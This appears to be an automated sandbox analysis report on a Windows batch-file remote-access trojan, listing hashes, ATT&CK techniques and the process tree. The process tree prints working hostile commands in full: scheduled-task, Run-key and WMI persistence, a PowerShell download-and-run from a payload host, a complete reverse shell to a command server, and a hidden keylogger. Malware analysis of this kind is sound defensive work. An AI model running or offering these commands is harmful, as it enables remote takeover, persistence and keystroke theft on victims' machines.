aef02491af52df263f62fbcfed5d6714f5cbce3a09c7a7896a7903937b97ba34

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:31

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General

Target
rat_build_165120_014441.bat
Size 4KB
Sample260529-bxn8dsfz8l
SHA256 aef02491af52df263f62fbcfed5d6714f5cbce3a09c7a7896a7903937b97ba34
MD5 9adf9fa9765716f436a7856709f65ee0
SHA1 68ea19fa61cb198c865e480dd6e8484826225b7a
SHA512 16deb533a193d207c964882d411b41c7c896ccff4fbf6dcc5aa2fd2ada50819c95f66d681c7a6f2810a789478722d02a4c381a2f1e8b5a9459fa1116ce68a11a
SSDEEP 96:1IvvWO/IzLV99SG8wi4K0bU5LQ9DWm/GO5DhDglm4bhkJUf/iFgZk8mvlo16D+:17O/Yj9YuU69DxtLJUf/iFgkHlP+
TLSH
T1C7A1C823579B7210CA74651CDA363D5863ACEAF71315CD5EBB88CCC44A4CE8784295D7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_165120.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
880	powershell.exe
2320	powershell.exe
2988	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_165120 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_165120.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2912	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3372	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2576	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3676	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
880	powershell.exe
880	powershell.exe
2320	powershell.exe
2320	powershell.exe
2988	powershell.exe
2988	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1656	WMIC.exe
Token: SeSecurityPrivilege	1656	WMIC.exe
Token: SeTakeOwnershipPrivilege	1656	WMIC.exe
Token: SeLoadDriverPrivilege	1656	WMIC.exe
Token: SeSystemProfilePrivilege	1656	WMIC.exe
Token: SeSystemtimePrivilege	1656	WMIC.exe
Token: SeProfSingleProcessPrivilege	1656	WMIC.exe
Token: SeIncBasePriorityPrivilege	1656	WMIC.exe
Token: SeCreatePagefilePrivilege	1656	WMIC.exe
Token: SeBackupPrivilege	1656	WMIC.exe
Token: SeRestorePrivilege	1656	WMIC.exe
Token: SeShutdownPrivilege	1656	WMIC.exe
Token: SeDebugPrivilege	1656	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1656	WMIC.exe
Token: SeRemoteShutdownPrivilege	1656	WMIC.exe
Token: SeUndockPrivilege	1656	WMIC.exe
Token: SeManageVolumePrivilege	1656	WMIC.exe
Token: 33	1656	WMIC.exe
Token: 34	1656	WMIC.exe
Token: 35	1656	WMIC.exe
Token: 36	1656	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1656	WMIC.exe
Token: SeSecurityPrivilege	1656	WMIC.exe
Token: SeTakeOwnershipPrivilege	1656	WMIC.exe
Token: SeLoadDriverPrivilege	1656	WMIC.exe
Token: SeSystemProfilePrivilege	1656	WMIC.exe
Token: SeSystemtimePrivilege	1656	WMIC.exe
Token: SeProfSingleProcessPrivilege	1656	WMIC.exe
Token: SeIncBasePriorityPrivilege	1656	WMIC.exe
Token: SeCreatePagefilePrivilege	1656	WMIC.exe
Token: SeBackupPrivilege	1656	WMIC.exe
Token: SeRestorePrivilege	1656	WMIC.exe
Token: SeShutdownPrivilege	1656	WMIC.exe
Token: SeDebugPrivilege	1656	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1656	WMIC.exe
Token: SeRemoteShutdownPrivilege	1656	WMIC.exe
Token: SeUndockPrivilege	1656	WMIC.exe
Token: SeManageVolumePrivilege	1656	WMIC.exe
Token: 33	1656	WMIC.exe
Token: 34	1656	WMIC.exe
Token: 35	1656	WMIC.exe
Token: 36	1656	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3456	WMIC.exe
Token: SeSecurityPrivilege	3456	WMIC.exe
Token: SeTakeOwnershipPrivilege	3456	WMIC.exe
Token: SeLoadDriverPrivilege	3456	WMIC.exe
Token: SeSystemProfilePrivilege	3456	WMIC.exe
Token: SeSystemtimePrivilege	3456	WMIC.exe
Token: SeProfSingleProcessPrivilege	3456	WMIC.exe
Token: SeIncBasePriorityPrivilege	3456	WMIC.exe
Token: SeCreatePagefilePrivilege	3456	WMIC.exe
Token: SeBackupPrivilege	3456	WMIC.exe
Token: SeRestorePrivilege	3456	WMIC.exe
Token: SeShutdownPrivilege	3456	WMIC.exe
Token: SeDebugPrivilege	3456	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3456	WMIC.exe
Token: SeRemoteShutdownPrivilege	3456	WMIC.exe
Token: SeUndockPrivilege	3456	WMIC.exe
Token: SeManageVolumePrivilege	3456	WMIC.exe
Token: 33	3456	WMIC.exe
Token: 34	3456	WMIC.exe
Token: 35	3456	WMIC.exe
Token: 36	3456	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3456	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 3676	2000	cmd.exe	89
PID 2000 wrote to memory of 2576	2000	cmd.exe	90
PID 2000 wrote to memory of 1656	2000	cmd.exe	91
PID 2000 wrote to memory of 3456	2000	cmd.exe	92
PID 2000 wrote to memory of 2968	2000	cmd.exe	93
PID 2000 wrote to memory of 3372	2000	cmd.exe	95
PID 2000 wrote to memory of 2912	2000	cmd.exe	101
PID 2000 wrote to memory of 880	2000	cmd.exe	102
PID 2000 wrote to memory of 2320	2000	cmd.exe	103
PID 2000 wrote to memory of 2988	2000	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_165120_014441.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_165120" /tr "C:\Users\Admin\AppData\Local\Temp\_165120.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3676
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_165120" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_165120.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2576
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_165120", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1656
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_165120", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_165120.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3456
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_165120.txt
  2⤵
  PID:2968
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3372
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_165120.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2988

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9ab702941a8d147e1149cafeb42b23285c617e1ae13582806c4b747efd765e98
MD5 bf4d1cd2aeb88ea105511257d009588f
SHA1 5f045366f7e6d6d7e8c50b28277fa01f12475e74
SHA512 de36b15384d7760f130bf61d185fa6b392d69dcea0b0e56dd8b5ef7f7f0173fbb0a2f2445c3fd77985a49fb0b8f79d87a76167c800c3cc0acec7b6a8357d7c4b
TLSH
T17F115327B39C8921CC96153A409DAC1172B683DB81AEDE9F6FC4D214A0BF984CB612A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8c54d4148a9e2a3b524f471f99aa3d48778239ae494908b544ef8f014d7d0eee
MD5 5ed3bd9bc72e312aadc7571ad8786379
SHA1 c6cc90bf1250e7ec5cd7680a9689940cec6398da
SHA512 d020f76b71142f58c990f62354c568d9cee901a2e808d11d4e6d439aa3ffc36f070d613e3bd9522aaa1d44d3288c91c89fcf911600fdad9e96d3900c12941c47
TLSH
T18E115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_vy5gcpkv.0av.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vy5gcpkv.0av.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/880-9-0x000001517F700000-0x000001517F722000-memory.dmp

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